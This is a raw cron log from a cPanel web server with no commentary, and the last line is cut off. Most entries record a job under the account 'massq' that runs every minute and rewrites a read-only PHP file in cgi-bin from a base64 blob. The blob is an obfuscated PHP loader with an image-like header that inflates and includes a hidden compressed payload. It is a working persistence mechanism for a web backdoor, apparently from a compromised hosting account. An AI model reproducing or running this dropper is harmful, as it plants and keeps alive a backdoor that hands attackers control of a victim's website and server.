Apr 11 13:18:01 server CROND[1170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:19:01 server CROND[1238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:20:01 server CROND[1327]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:20:01 server CROND[1328]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:20:01 server CROND[1330]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:20:01 server CROND[1331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 13:20:01 server CROND[1337]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 13:21:01 server CROND[1520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:22:01 server CROND[1586]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:23:01 server CROND[1644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:24:01 server CROND[1701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:25:01 server CROND[1772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:25:01 server CROND[1773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:25:01 server CROND[1774]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:26:01 server CROND[1986]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:27:01 server CROND[2050]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 13:27:01 server CROND[2051]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:28:01 server CROND[2121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:29:01 server CROND[2176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:30:01 server CROND[2246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 13:30:01 server CROND[2247]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 13:30:01 server CROND[2248]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 13:30:01 server CROND[2249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 13:31:01 server CROND[2431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5Uor